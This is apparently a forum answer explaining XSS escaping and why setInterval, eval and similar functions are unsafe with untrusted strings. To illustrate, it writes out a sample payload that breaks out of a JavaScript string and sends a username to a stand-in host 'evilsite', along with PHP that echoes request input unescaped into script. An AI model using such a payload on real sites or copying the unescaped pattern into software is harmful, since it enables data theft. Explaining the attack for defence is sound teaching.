Some background first:
Escaping to defend against XSS involves adding suitable escape characters so that rogue data can't break out of wherever you put it and be evaluated as JavaScript.
e.g. given user input of xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + '
If you inserted it into a string literal with server-side code:
const userinput = '<?php echo $_GET("userinput"); ?>'
You'd get:
const userinput = 'xss' + window.location = "http://evilsite/steal?username=" + encodeURLComponent(document.getElementById("user-widget").textContent) + ''`
Then the ' would break out of the string literal in the JS, steal the username, and send it to the attacker's website. (There are worse things than usernames which could be stolen.
Escaping is designed to prevent the data from breaking out of the string literal like that:
const userinput = 'xss\' + window.location = \"http://evilsite/steal?username=\" + encodeURLComponent(document.getElementById(\"user-widget\").textContent) + \''`
So the attacking code just becomes part of the string and not evaluated as raw code.
The problem with passing a string to setInterval (or setTimeout, new Function, eval, etc) is that they are functions designed to evaluate code.
The attacker doesn't need to break out of the string literal to have their code executed. It's happening already.
My question is about understanding why setInterval can never be safe from XSS.
That isn't what the warning you quoted said. It said it can never safely use untrusted data as input. If you're putting your own code there, it is perfectly safe. It is when you evaluate some user input that you have problems.
Passing a string to setInterval is a bad idea anyway. It is hard to debug and relatively slow.
Pass a function instead. You can even use user input safely then (since it isn't being evaluated as code, it is just a variable with a string in it).
const userinput = "properly escaped user input";
setInterval(() => {
document.body.appendChild(
document.createTextNode(userinput)
);
}, 1000);